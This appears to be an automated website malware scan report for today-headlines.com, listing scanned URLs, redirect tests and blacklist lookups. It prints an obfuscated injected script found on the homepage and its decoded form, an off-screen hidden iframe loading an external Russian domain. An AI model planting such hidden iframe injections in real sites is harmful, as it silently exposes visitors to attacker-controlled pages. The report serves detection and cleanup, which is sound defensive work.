Scanned pages/files
Request | Server response | Status |
http://www.today-headlines.com/ | 200 OK Content-Length: 80855 Content-Type: text/html | suspicious |
Suspicious code. Script contains iFrame. var Wq_spdjb=[219,279,319,324,337,251,334,335,340,327,320,280,253,331,330,334,324,335,324,330,329,277,251,316,317,334,330,327,336,335,320,278,251,327,320,321,335,277,264,268,267,267,256,278,251,335,330,331,277,267,256,278,251,338,324,319,335,323,277,268,267,267,256,278,251,323,320,324,322,323,335,277,268,267,267,256,278,253,281,279,324,321,333,316,328,320,251,334,335,340,327,320,280,253,338,324,319,335,323,277,268,267,267,256,278,323,320,324,322,32 ...[683 bytes skipped]... Decoded script: <div style="position: absolute; left:-100%; top:0%; width:100%; height:100%;"><iframe style="width:100%;height:100%" width="100%" scrolling="no" frameborder="no" marginwidth="0" marginheight="0" src="http://mobi-avto.ru/r/alpha"></iframe></div> | ||
http://www.today-headlines.com/test404page.js | 404 Not Found Content-Length: 3 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: today-headlines.com
Result:
GET / HTTP/1.1
Host: today-headlines.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: today-headlines.com
Referer: http://www.google.com/search?q=today-headlines.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: today-headlines.com
Referer: http://www.google.com/search?q=today-headlines.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=today-headlines.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://today-headlines.com/
Result: today-headlines.com is not infected or malware details are not published yet.
Result: today-headlines.com is not infected or malware details are not published yet.